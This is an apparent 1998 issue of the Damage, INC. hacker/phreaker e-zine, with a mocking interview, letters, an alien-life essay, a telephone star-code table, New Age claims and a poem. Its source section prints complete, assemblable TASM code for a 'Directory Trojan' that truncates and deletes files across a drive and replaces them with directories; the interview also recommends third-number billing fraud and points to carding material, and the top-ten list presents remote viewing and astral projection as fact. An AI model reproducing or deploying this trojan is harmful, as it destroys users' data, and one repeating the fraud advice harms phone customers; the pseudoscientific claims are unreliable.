i've heard a lot of crap about ati, and well, it sounds kinda like it sucks.. and besides, i don't really like the crypt keeper.. i was on his board a while back.. and well, he had lots of viruses and stuff... not a whole lot of h/p or anything like that... but that was a while ago.. and umm.. i'm not even sure if his board is still up.. [ But The Freezer is a great h/p board right? Haha. ] - alright.. so then are there any *good* h/p groups in this area? I'm still kinda new... but want to join one really bad. - heh.. yeha... i'm still sorta new too.. and well.. umm.. i'm not sure of one.. damage inc is cool.. 'cept for blackened.. i don't like him.. but the rest of the group is cool.. [ Oh no, Topsoil doesn't like me. ;) ] - hmm... why don't ya like him? hehe - heh... actuaully, i think i've no wiped out my hard drive more times than he's wiped out mine.. heh.. that's hard to accomplish. but ahg well.. ehh/. [ You can't blame anyone else when you nuke yourself with trojans Topsoil. ] - hehe.. so how abouts would I go about joining damage inc? talk to him? - ... not sure... just talk to the journalist, his board is a member board.. so he should know... [ FoI is a Damage, INC. Dist. Site. Before you give advice, make sure you know what you're talking about. ] - ya.. okay.. cool. I noticed you've got some of their releases online here.. have ya read any of them, and are they any good? - .. well, i read the first few.. (2 or 3.. forget how many..) and well, the one had a trojan's source code at the end.. and i wanted to try it out.. and i did.. and wiped myself.. and well, blackened is honest in those and stuff.. and for the utils that damage inc. has released.. i've never tried them, but apparently they do what they say they do... [ Wow. We're all impressed that you were able to use TASM on the source code. However, source code isn't executable. Again, you're responsible for nuking yourself. Yes, I am honest. Apparently? You execute trojans but are afraid to use Damage, INC. Utilities? ] - hmm.. cool. hey, do you program? I read a message about something you were working on... - ... i know turing... and well, can't really do a whole lot in there... examples.. you can't use the com port, you can't edit an .EXE file or anything like that (at least not that easily) and umm.. well, it's a cheapo beginner language.. i started to make a BBSList program for the board.. but kinda got stuck not being able to use the modem.. heh... [ Turing? ] - hehe... yeah, it was the bbslist thing that I read about. sounds cool though. I'm starting to learn pascal. is that language any good? like will I be able to program some utilities eventually with it? - oh yeah.. if you learn it... i'd probably say that it's.. .. either the BEST or the second BEST programming language out there... probably best though.. C/C++ is cool.. but i don't know..i tried it, and got totally confused so.. most programs are written in pascal though.. eg. this bbs software was written in pascal..... or something.. wait.. it was written in turbo pascal... and i THINK their the same.. not sure though.. ah well.. [ Turbo Pascal is the best programming language out there? again. ] - yeah, that's what we're learning in school... but I'm just starting to get the hang of it. hehe. I should check out some of those utilities that you have on your board... and see what they're like. do you know anything about how to get started, like learning how to program stuff like viruses and trojans? - well.. .. no..:) .. umm... for viruses and stuff.. i think.. assembly is best for that..and well, that seems easy to learn.. just grab a program like VCL, and it will make source code for you.. and you just compile it.. easy.. [ VCL will generate assembly source code, as will any other virus generator. That isn't programming a virus though. That's called running a shitty program that creates .asm source code for viruses that are detectable by any virus scanner. Nothing more. ] - what's assembly? a language? - yup.. [ Good answer. ] - okay.. cool.. so are they usually made in assembly? - yeah.. it makes the files real small.. like.. 3k.. and well, to do the same thing in turbo pascal or c/c++ it would be like.. ... i dunno.. 10k or something.. so .. assembly is smaller.. but not as powerful... [ Haha. You really have a way with words. You have a talent for explaining things that you know nothing about to people. Assembly is smaller but not as powerful? Wrong again man. ] - cool... also, I wanted to ask you about carding. I posted a message asking about it but just got bashed.. - uh-huh.. question? [ You should consider changing your alias to the Guru. ;) ] - What is it? How can I learn more about carding? Is it like.. using VISA cards or something like that? or am I thinking of something else..hehe - .,, nah, that's it.. umm.. i dunno.. if you wanna learn some stuff about it... like.. good methods and stuff, since a lot of them don't work, umm.. in the file areas, there's PLA*.ZIP... those have a lot of ... carding stuff in ... mostly calling cards .. but you can use the same type of stuff for visa etc. ... and well, they have some phreaking stuff in too... they're no ratio so.. get whatever you want... umm.. and well, you can read the descriptions too.. [ Yeah, the Phone Losers of America issues are excellent sources of information man. The only thing I don't understand is why they don't use a 1-800 VMB and have a few boxes. I mean, their leader used to pay monthly for a box... for a shitty local VMB in his area code. Haha. ] - cool.. I will.. and I don't know much about phreaking yet either but I want to learn. do you know much about PBXs, VMBs, ANIs? I also read about firewall hacking in the bases here, but don't really know much about that... or how to remove firewalls. there's one at school that prevents us from going to h/p sites. hehe - hheh.. yeah.. i've gotten pissed of at that firewall too.. .. umm.. i tried getting around it by going to.. www.anonymizer.com...; which will just copy the page onto their server, and then send it over to you, so your computer never actually goes the page at all.. but they firewalled that server. damn.. and umm.. well.. then i tried converting the .. domain name (www.anonymizer.com) over to the IP address (209.xxx.xxx.xxx or osmething like that) and well.. that is firewalled too.. so not sure about that.. as far as.. PBXs go... i forget what the stand for again so.. :) umm.. VMBs, iknow that i have one on my cell phone, and ,.. ANIs, i have call display on my cell phone, so for that i just call up my cell phone which is usually in my hand, and i just read off the numbe.r.:) [ Read a text file on firewalls d00d. ] - cool.. do you have a laptop and beige box? also, i need an extender.. to call like Guelph and Toronto... - ... yeah... umm.. laptop, nah, i can't afford everytrhing.. heh.. umm.. beige box.. .i wanna make one.. but well,i haven't got the cash right now.. damn phone companies.. i had $150 in phone bills this month.. heh... umm.. but yeah, soon i'm gonna try and build a red box, and beige box... umm.. extenders.. i don't got any... if i felt like it, i'd consider using toneloc or something like that, but since i don't call guelph any more, i don't really care about it... [ Quit paying $150 to Bell and you might have more money. ;) Oh, forget about trying to build a red box and beige box. That's too difficult for you. ] - ya.. i just want to call some ld boards... like in Toronto.. hehe.. but don't wanna pay ld to Bell. :) - yeah.. in the pla files, they'll tell you about third number billing.. and how you can do that.. so then you don't have the ld, some other guy in.. oihh.. b.c. has it.. and he won't bother to call you back, since it will just cost more money, and if he does call you back, just hang up.. if bell calls you.. you know nothing about that... easy.. [ That's an excellent method to use. Thanks for the great information. ] - hehe... yeah, that sounds like a good idea. do you know how to hack ISPs and get free internet accounts? I can't afford to pay for one.. :) - yeah.. i can't afford the net either... so i just got my friend to get an unlimited account, and the provider just happens to let up to 100 people use the same account, at the same time.. ehh.. [ 100 people. Keep that number in mind and read the excuse Topsoil uses next. ] - hehe.. can you give me the login and pword? :) - nah... i'm not alowed to give it out.. cuz well, there's 10 people who already have it, and well, he doesn't want the provider billing him for all 10 of those people when they notice they're being ripped off.. heh.. [ That shouldn't matter if they allow 100 people to use the same account, like you said previously. ;) ] - hehe.. okay... umm.. do you know how I can get access to some other h/p boards, like foi and ajfa? I keep seeing people posting about boards like that...but can't seem to get access... hehe. - heh.. umm.. well, once you get on foi, .. e-mail blackened from there about ajfa.. umm.. .. foi.. well, hopefully you're on that now.. umm.. and well, those are the only h/p boards i know of.. anyways, i've gotta go now .. getting tired.. and i got to surf the net first period tomorrow in schjool... [ Nah, my board is invite only. That won't work. Go surf the net d00d. ] - hehe.. okay...but uh, I applied to foi and he has a validation password for new users, so I can't logon yet... :( and ummmm... so blackened runs ajfa? I didn't know that... hmm... does he like run damage inc or something? - .. you'll be validated by.. .. the journalist on foi, in the next day or two.. and ... umm.. yeah, blackened runs ajfa, and ,.. damage inc, i'm not sure who runs that, but ajfa is the WHQ of.. damage inc.. [ Become informed before you try to answer questions. ] - okay... now I understand.. :) cool. thanx for the info then man. hope to chat again sometime... - yup, ok, l8rz.. [ The above line says it all. ] yOu are now back in the freezer LETTERS TO THE EDITOR - {LETTERS} Highlord (aka Lielord, Highlamer) wrote the following message addressed to me on Freedom of Information Archives: Date: 7:41 pm Mon Mar 9, 1998 Number : 540 of 540 From: Highlord Base : [Damage, INC. Discussion] To : Blackened Refer #: 539 Subj: Re: feedback Replies: None Stat: Normal Origin : Local B> To those users that have read the February issue of the Damage, INC. B> Newsletter... send in feedback. Thus far, we don't have any letters to B> the Editor to use. It can be a message with comments, suggestions or hate B> mail. It's up to you. If you want something to say, now is your big chance Well i like all your releases even if one of them is bashing me but i have learned an important lesson and wish to thank you. l8er. The Highlord Member of ATI ------------------------------------------------------------------------------- Editor - I wish to take this opportunity to thank you man. The interrogation of you done by Fatal Vision was simply hilarious. It contained your own words and answers to his questions. I had to publish that and share it with our readers. ;) As for the lesson you claim to have learned, I am skeptical to say the least considering the amount of false statements that you've blatantly made on boards in the past few months. Always remember that anything you post on boards can be captured. Learn from your experience. Also, you were never a Member of a.t.i. So, you're lying yet again. Did you honestly believe that you could fool everyone? The fake a.t.i releases that contained ripped off Copyrighted Damage, INC. material impressed nobody. Did you do that in a pathetic attempt to get a reputation? Or are you just stupid? You're a ph34r3d l33t hax0r d00d now Highlord... OBJECTIVE OPINIONS - {OPINIONS} The existence of intelligent alien life in the Universe: Does intelligent life exist elsewhere in the Universe? If there are alien races on other planets, are they technologically advanced enough to know of our existence? Have this visited this planet before? Is it possible that they have been evolving for millions or billions of years before life began on Earth? These are just a few interesting and valid questions that you should spend some time thinking about. The Universe consists of billions of galaxies. In those galaxies, there are many stars, planets, moons etc. of varying ages. The Universe is a vast place, and is so extremely large that it's difficult to comprehend. We do not understand it. In fact, we don't even understand the complexity of gravity yet. Therefore, how can *anyone* say that there isn't intelligent life on other planets? Have we explored them? No, of course not. The fastest machines built by humans were the Voyager space probes. They gave us the first "close" looks at planets such as Jupiter. Obviously, that planet is within our own solar system and not a tremendous distance away from Earth. Recently, we've started exploring planets such as Mars and manned missions are planned to investigate further. They've looked at rocks from Mars that show (and prove in my opinion) that there was life on Mars, albeit primitive "bacteria-like creatures" at one time. Scientists such as the late Carl Sagan and others believed that more exploration is necessary. They also believed that there's a great chance of intelligent life on other planets and that we shouldn't just categorically rule it out. I agree with that point of view. It'd be idiot to ignore the possibility that life exists on other planets. To assume that life only exists on this planet would be both arrogant and ignorant. It would also be the biggest, worst assumption that anyone has ever made. Let's say that out of the billions of galaxies and countless planets... that there isn't any intelligent life in the entire Universe, except on Earth. Do you know what the odds of that are? The odds of that are "astronomical" to say the least. So, why place an uneducated guess or bet that there's no life out there? It's not only possible, it is very plausible that intelligent life could exist (or could've existed in the past) on other planets. If the only life in the Universe is on Earth, what is the purpose of the billions of lifeless planets? Why are there so many galaxies and stars? Why were they all created? Wouldn't that mean that life evolving on Earth was a fluke? Or perhaps, it's a cosmic joke. Haha. That possibility seems unlikely to me for many reasons. The biggest reason is that I don't consider human life to be just a fluke of nature. Why not? Well, if that were true it'd mean that fluke after fluke after fluke happened on this planet since it's filled with living creatures. Consider the diverseness of this planet for a second and you'll understand my logic. Also, the Universe is much older than we are. Did it take human evolution for there to be intelligent life in this enormous space? We'd be very egotistical to think that we are the only intelligent species in the entire Universe. Or, is there more than one Universe? The answer to that question relies upon your own beliefs. I cannot answer it for you. What if the truth is that we *are* the only advanced life in this Universe though. What if every other planet in the Universe is lifeless? What if that theory could be proved to be correct. That would make everything meaningless. If life forming on this planet happened by a fluke, then there is no meaning to life. There is no point in anything. Everything would mean nothing. At least, that's how I would personally feel. On the other hand, if we could prove that intelligent life exists on other planets, that would change everything. That would give us new meaning. That'd mean our existence isn't the greatest fluke ever. It might also mean that we are their seed, that the aliens visited earth long ago. It could also mean that there was life on other planets before Earth. They could've been evolving as being for millions of years before Earth could even sustain and support life. ;) Of course, the possibility exists that there is intelligent life on other planets that started evolving after us... and that they aren't quite as advanced yet. Indeed, the possibilities are endless. I'd also like to comment on Terra-Forming. We have the knowledge, ability and technology to turn a suitable lifeless planet into one that evolves... and eventually can support life. Essentially, we can change the environment over time and "create" life that otherwise wouldn't have developed naturally. The chosen planet has to endure drastic changes in its biology, but it is possible. Terra-Forming is a very long process that requires hundreds of years in order to change a planet. However, we could use the process to change a planet that's reachable from Earth into a new world for mankind to inhabit and manage. If we can successfully accomplish that, (Terra-Forming involves changing and/or creating the atmosphere using different methods including the formation of oceans by releasing water from ice or rock, the removal of harmful gases etc.) then why wouldn't there already be planets that are capable of supporting life throughout the Universe? If we can transform or convert a "dead planet" into one that future generations can live on, then it's only logical that out of billions of galaxies there would be at least a few "living planets". ;) Yes, that is my opinion and you have the right to disagree or choose to ignore that logic, form your own opinion and live by your personal beliefs. Basically, I just think that if we can manage to find a way to explore other regions of the Universe, are able to change planets through terra-forming, and make discoveries that would have been unimaginable less than 100 years ago... then it's very possible that alien beings know about and can do the same things. Perhaps they know more about space, time, the Universe, propulsion, technology in general etc. than we do. They could've been travelling and exploring space long before our evolutionary process began (or our creation). They might have known of us from the beginning, and not think of humans as being advanced beings. ;) Hopefully I've given you something to think about. Written by BLACKENED Damage, INC. (C)opyright 1998. REPORTS FROM THE FRONT - {REPORTS} List of LASS *## codes: This list was extracted from the alt.2600/#hack FAQ. It was included at the request of several readers... 2600 deserves the credit for making this list. There's no point in duplicating something that's already been done, so that's the reason 2600's quality list is being used. The complete FAQ is available to download from AJFA (and was also in the list for newbies). What are all of the * (LASS) codes? Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes: (These appear to be standard, but may be changed locally) Service Tone Pulse/rotary Notes -------------------------------------------------------------------------- Assistance/Police *12 n/a [1] Cancel forwarding *30 n/a [C1] Automatic Forwarding *31 n/a [C1] Notify *32 n/a [C1] [2] Intercom Ring 1 (..) *51 1151 [3] Intercom Ring 2 (.._) *52 1152 [3] Intercom Ring 3 (._.) *53 1153 [3] Extension Hold *54 1154 [3] Customer Originated Trace *57 1157 Selective Call Rejection *60 1160 (or Call Screen) Selective Distinct Alert *61 1161 Selective Call Acceptance *62 1162 Selective Call Forwarding *63 1163 ICLID Activation *65 1165 Call Return (outgoing) *66 1166 Number Display Blocking *67 1167 [4] Computer Access Restriction *68 1168 Call Return (incoming) *69 1169 Call Waiting disable *70 1170 [4] No Answer Call Transfer *71 1171 Usage Sensitive 3 way call *71 1171 Call Forwarding: start *72 or 72# 1172 Call Forwarding: cancel *73 or 73# 1173 Speed Calling (8 numbers) *74 or 74# 1174 Speed Calling (30 numbers) *75 or 75# 1175 Anonymous Call Rejection *77 1177 [5] [M: *58] Call Screen Disable *80 1160 (or Call Screen) [M: *50] Selective Distinct Disable *81 1161 [M: *51] Select. Acceptance Disable *82 1162 Select. Forwarding Disable *83 1163 [M: *53] ICLID Disable *85 1165 Call Return (cancel out) *86 1186 [6] [M: *56] Anon. Call Reject (cancel) *87 1187 [5] [M: *68] Call Return (cancel in) *89 1189 [6] [M: *59] Notes: [C1] - Means code used for Cellular One service [1] - for cellular in Pittsburgh, PA A/C 412 in some areas [2] - indicates that you are not local and maybe how to reach you [3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up [4] - applied once before each call [5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance) [6] - cancels further return attempts [M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige. It is an arrangement of ESSEX like features for single or small multiple line groups. The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x *** Note from Damage, INC. - Bell's Call Screening can be defeated by using a good diverter, contrary to popular belief. I just wanted to dispel the commonly held misconception that Call Screening stops a person from calling you from the line/number you try to block/reject. Hopefully, this short note clears that up for everyone that falsely believes that it does. ;) SOURCE AND SCRIPTS - {SOURCE} Damage, INC. Directory Trojan Source Code: This trojan nukes files in every directory off the root of the current drive. Then it creates directories to replace the files that were nuked. Once that's finished, it changes to the root directory of the current drive and creates a directory named NUKE. You can't RD it or CD into it normally from a DOS prompt. Lastly, the "Nuked by Damage, INC." message is decrypted and then displayed. The first type of encryption used (for NUKE) is a very simple XOR method. The second type uses SUB (subtract) for the damage message. Both types used should be easy enough to understand. ------------------------------------------------------------------------------- ;[Damage, INC. Directory Trojan] (C) Copyright 1998 by Damage, INC. ;Use TASM /M FILENAME.ASM then TLINK /T FILENAME.OBJ to assemble it into ;a 420 byte COM file. Use at your own risk. code segment 'code' assume cs:code,ds:code,es:code org 100h main proc near jmp start thestop db 1ah ;EOF () marker stops DOS TYPE command. filecards db '*.*',0 ;The wildcard *.* for Files. dircards db '*',0 ;Wildcard for Directories root db '\',0 ;Root Directory default db 64 DUP (?) ;Buffer to hold current directory dirdta db 43 DUP (?) ;DTA for directories filedta db 43 DUP (?) ;DTA for files dseg dw ? ;Holds old dir DTA segment dofs dw ? ;Holds old dir DTA segment start: mov di,offset nuke ;start of decryption mov si,offset nuke ; mov cx,8h ;CX is 8 (characters) cld ;Clear direction repeat: lodsb ;Load String Byte xor al,92h ;xor 92h is 146. stosb ;Store String Byte dec cx ;Decrement CX jcxz nukestart ;Jump if CX is zero to nukestart jmp repeat ;Jump to repeat nukestart: mov dx,offset dirdta ;set DTA to hold directories mov ah,1ah ;DOS set DTA function int 21h ; mov ah,19h ;get drive code int 21h ; mov dl,al ;save drive code into dl inc dl ;translate for function 3bh mov ah,47h ;save current dir mov si,offset default ;save current dir into buffer int 21h ; mov dx,offset root ;change to root dir mov ah,3bh ; int 21h ; mov cx,13h ;find directories mov dx,offset dircards ; mov ah,4eh ;find first file scanloop: int 21h ;DOS Call to execute command jc quit ;quit if no more dirs/error jmp changedir ;change to that dir findnextdir: mov ah,4fh ;find next directory mov dx,offset dircards ; jmp scanloop changedir: mov dx,offset dirdta + 30 ;point to dir name in DTA mov ah,3bh ;change directory int 21h ; findfirst: mov ah,2fh ;get DTA int 21h ; mov [dseg],es ;save dir DTA segemnt mov [dofs],bx ;and offset int 21h mov dx,offset filedta ;use file DTA as new DTA mov ah,1ah ;set DTA function int 21h ; mov cx,0007h ;find attributes mov dx,offset filecards ;point to '*.*',0 wildcard spec mov ah,4eh ;find first file filescanloop: int 21h ; jc done ;quit on error/no files found mov ax,4301h ;clear files attributes xor cx,cx ;zero cx mov dx, offset filedta + 30 ; int 21h ; jc quit ;jump if carry to quit mov ah,3ch ;truncate file int 21h jc quit ;jump if carry to quit mov bx,ax ;save handle jc done ;Jump if carry to done mov ah,41h ;nuke file int 21h ; mov ah,3eh ;close file int 21h ; mov ah,39h ;make directory in place of file int 21h ; mov ah,4fh ;find next jmp filescanloop ;Jump to filescanloop to loop done: mov ah,1ah ;restore directory DTA mov ds,[dseg] ;move dseg into ds mov dx,[dofs] ;move dofs into dx int 21h mov dx,offset root ;change dir to root mov ah,3bh ; int 21h ; jmp findnextdir ;Jump to findnextdir quit: mov ah,3bh mov dx,offset root ;change to root int 21h mov ah,39h ;create directory mov dx,offset nuke ;pointer to subdir name int 21h jc restore ;Jump if carry to restore restore: mov dx,offset default ;restore original directory mov ah,3bh ;by changing back to it. int 21h ; mov si,offset damage ;points to damage string call decrypt ;call the decrypt procedure exit: mov ah,4ch ;Exit to DOS prompt. int 21h ; proc decrypt push ax ;push AX register to save it push dx ;push DX register to save it dctext: lodsb ;Load string byte or al,al ;zero AL register je finish ;jump if equal to finish xchg dl,al ;exchange (move) al into dl sub dl,63 ;subtract 63 from dl mov ah,2 ;Display the decrypted message int 21h ;Call DOS jmp short dctext ;jump (loop) back to dctext finish: pop ax ;pop AX register to restore it pop dx ;pop DX register to restore it ret ;Return (Exit...we're finished!) endp decrypt nuke db 0fch,004h,0f9h,0f7h,0bch,06dh,0b2h,06dh,0 ;NUKE damage db "__k_m" ;The encrypted Damage, INC. text message db 0 filler db 1 dup(20h) ;1 byte filler to increase the size to ;420 bytes. main endp code ends end main ------------------------------------------------------------------------------- THE JOURNALIST'S TOP TEN LIST - {TOP TEN} "Think of the possibilities..." We are quickly approaching the dawn of a new millennium. The Age of Aquarius - love, peace, and enlightenment. With it come new responsibilities, and new freedoms. I believe the true nature of existence will emerge as the hidden answer everybody is waiting for. This month's top ten list is a little different. I am a firm believer in the idea that man is not limited by his physical body. Arm yourself with the knowledge necessary to survive in the coming new age world. The only knowledge that when put into practice, truly will set you free. 1. Meditation. This marks the beginning of a journey that will lead you closer to yourself and the underlying reality available to everyone. Diligent exercise of clearing your mind always results in the attainment of higher states of consciousness. Zen Buddhists have known the potential of this art for many centuries now. Pick up a good book on meditation if you are seriously interested in beginning the mystical life most people only dream about. 2. Lucid Dreaming. In our dreams we are orchestrating those events which we cannot readily act out in everyday life. Dreaming represents the mind's interpretation of activity far beyond the conscious level. As you notice upon wakening, the dream often is as "real" as daily life - that is because it *is* real! Just not in the same way you are used to. Lucid dreaming occurs when in a dream, you become aware that you are dreaming. It is exciting! You can now control your dream, direct it the way you want. The simple suggestion before you fall asleep of "I am going to have a lucid dream" will put into motion the desire to wake up in your dreams. Try it! 3. Astral-Projection. Entering into trance, you feel the familiar buzzing throughout your body characteristic of regular meditation. Your body feels lighter and lighter, and suddenly you are free. Free from gravity, free from solid matter, and free from the incessant activity of everyday society. Your thoughts lead you on an adventure unknown to most. Thinking of your deceased Aunt, you are immediately transported to a face-to-face meeting with her. The exhilaration associated with this technique is *unparalleled*. 4. Remote Viewing. This was the subject of my earlier article. With enough practice in meditation and astral-projection, remote viewing can become an entirely viable activity for any student of the psychic phenomena. When you remote-view, your body stays in one place, while your mind traverses the universe, unbounded by space and time. Simply by wishing yourself somewhere you can be instantly transported there. You can see past events as if you are right there while it happened. It is as if you are at a huge library of everything that ever occurred in the universe, and you can pick any experience you want. When the army attempts to utilize transcendental experiences like this for military gain, you can understand why certain disaster occurs! 5. Hypnosis/Mind Control Hypnosis is something which, for the most part, is readily accepted by society. Its full power is not yet realized though. Hypnosis is the process by which one person, well-versed in the subject, uses his/her abilities to transport another person into an ASC. From this point, the "subject" is in a very suggestible state, and can be made to do anything, believe anything that the hypnotist desires! The fact that one human can control another like a puppet should scare the living shit out of us. But it doesn't. Why do you think that is? 6. Channeling I have read books channelled from entities beyond our dimension. Sound like science fiction? Think again. As indicated, channelling is essentially when a human being "lends" his/her body to a separate entity for the purpose of communicating a message. Usually the channelled being is of much higher awareness than we can know. But that is why they visit. To bring us closer to awareness. To put into words information which is not currently known to our consciousness. This is similar to automatic writing, whereby a writer experiences a force "taking control" of the pen, and writing whole books while the writer is under trance. Consult the list at the bottom if you are interested in reading a channelled book. 7. Parallel Universe Theory Without totally confusing you, I want to enlighten you as to some of the current ways modern science has accepted the existence of psychic phenomena. One of these is the parallel universes theory. This describes our physical universe as but one of an infinite amount of universes, each one unique. Every action is broken down into choices, and the different outcome of each choice is manifested as a new, "potential" reality. On the sub-atomic level, it is believed that at every instant a photon has the option to go one of two different paths, two different universes will be created, each identical except that in one the photon went left, and in the other it went right (for example). The basis is that *every* possibility, every permutation of events must exist in a separate universe, each independent of the observer, (the person perceiving the events). 8. Holographic Universe Theory This is similar to the parallel universe theory, with some minor differences. The idea of infinite universes still holds true, but the concept of "macrocosm-microcosm" comes into effect. What that phrase refers to is the oneness of everything. If you know how a hologram works, you'll be on your way to understanding this new belief. A hologram reflects images in 3D. An interesting characteristic of holographic plates though, is that when you shatter one, each piece still shows the whole picture. The *whole* picture is stored in every tiny fragment of the hologram. With one minute particle of the hologram you could reproduce the entire picture, in 3D. Take that principle and apply it to our universe, and you'll start to appreciate the validity of these newfound perception's on life. 9. Synchronicity. I thought I would put this in here. Some of you may have heard of it, are familiar with the principles of synchronicities (The term was originally coined by Jung). Those who are not, have at the very least, had one experience with it. A synchronicity is kind of like a bizarre coincidence. Sometimes it is more easy to recognize. For example, lets say you learned a new word at school one day; you'd never heard this word used ever before. That night you hear it twice on TV, then the next day the book you're reading has the word in it. Most people would hopefully see the "coincidence" in that experience. I am telling you it is not a coincidence, but actually a simple example of the forces at work in our universe. Synchronicities occur because true information exists beyond the physical world. Every thought, every word you say has its own electromagnetic reality. The reoccurrence of the word is nature's way of telling you "Wake up! Life is incredible!" 10. Why wait? Go buy or rent one of these books today. Interesting Books... Seth Speaks(channelled), God and Quantum Physics, Shrodingers Cat, Shrodingers Kitten, The Holotropic Mind, The Art of Dreaming, Holographic Universe, Guide to Meditation. Interesting Authors... Carlos Castaneda, Jane Roberts, Edgar Cayce, Michael Talbot, Robert Anton Wilson, C.C Jung, Timothy Leary, Isaac Asimov, George Orwell. Written by The Journalist Damage, INC. (C)opyright 1998. THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} "A Few Simple Questions": There are those around us that are ignorant and lost, That won't offer an opinion, no matter what the cost. They turn a deaf ear to the most logical suggestions. They are too scared to answer a few simple questions... "A Few Simple Questions" Big Brother and his cameras are all over the place, tracking all motions, and recording your face. Why is our right to privacy dead? In the name of crime, which the frail people dread. Why are those in power always suspicious, assuming that we are doing something malicious? And yet in their integrity we are told to trust? Ignoring their scandals, kickbacks, and lust? Who are the victims of "society's" greed? The hungry and tired, the people in need. What do the affluent say with great glee? "By making them suffer, there's more for me." Why is that when good workers are fired, the stock market bulls its way higher? Do you feel this practice is sick and depraved? For man is not a commodity or slave! Why do most people put up with corruption? Not seeing that it leads to destruction. Maybe it is because they are gullible and naive? Or is it perhaps they just don't want to believe? Do you believe in everything you've been taught? Never to question, or have a free thought? To make you conform, they will wash your brain. Your only defense is to go against the grain. Don't those that have absorbed "society's" goals, realize that they've given up their souls? They are like ants in a colony, or an expendable soldier. Unquestioningly following every edict and order. For those honest men whom believe in what's right, must find their deep courage, stand up, and fight. Will virtuous free thinkers answer the call, before this diseased "society" imprisons us all? Written by Shatazar Damage, INC. (C)opyright 1998. CLOSING COMMENTS - {CLOSING} BLACKENED's Vicious Closing Comments: With large networks, new types of systems and new technology emerging rapidly, we have the opportunity to learn and do more than the early hackers and phreaks ever dared dream of. They were only limited by what was at their fingertips. However, the only limit that we have is our minds. There have been massive changes in h/p since the 1970s and 80s but the basics remain the same. There has been an influx of newbies, an internet explosion (FTP, Web Sites, IRC channels, newsgroups etc.), faster systems, modems, more operating system and software choices etc. and countless other changes directly relating to hacking and phreaking. The only constant is that there are still many people involved in the h/p scene... and that will never change. In fact, there's more h/p support and better distribution than ever before. Information is easily accessible. Plus, there are more Unix systems now than in the past, with ISPs popping up all over the place. I've heard newbies bitching, crying and complaining about "not BBSing in the early days of h/p when everyone shared information, text files, codes etc." Haha. They don't even realize that much more information is available to them right now than what existed back then. Newbies can leech from the internet (for free), h/p boards (no ratio) etc. They can read text files and magazines that were written by h/p groups from all over the world... and they don't even have to phreak to be able to download them. There is a tremendous difference between "now" and "then". Newbies can now leech some excellent utilities that weren't previously available or distributed worldwide. In 1998, we have systems that are powerful enough to use decryption programs etc. without taking days to complete the task... as an example. ;) We can even dial h/p boards via Telnet. Technology is constantly evolving right around us. Don't just sit back and be a passenger that's along for the ride. Participate, become actively involved and contribute to the h/p scene. Explore your mind. Develop its power. Experiment and discover the true meaning of h/p. It's an art. You must be creative, talented and artistic. You can't rely solely on pure intellect, memorization or the ideas of others to learn. You can't wait for someone else to take the initiative for you. You shouldn't expect others to teach you what they know. Eliminate your linear, structured way of thinking. Instead of just examining objects of technology that you don't yet understand on the surface, look closer and try to learn ways to use it that aren't known. Culture your knowledge like growing, multiplying bacteria. Immerse yourself in information and absorb it through osmosis. Then associate with people in the scene that are enlightened and have the same level of knowledge. I hope that you've enjoyed reading this March issue. If you've managed to learn something new, that's cool. If not, phreak off. ;) We're always looking for Writers, Members and Distribution Sites. If you'd like to apply to Damage, INC. and join a respected h/p group, then download a copy of the Damage, INC. Application Generator. If you want any of our releases, they are currently available (at no ratio) on the following boards: ...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only. Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t. Distraught Continuum - h/p/a/c/v/t, programming, etc. Any feedback or letters to the editor should be sent to BLACKENED in Email on a Damage, INC. board near you. I can also be contacted via Echomail/Netmail in several nets. - FADE TO BLACK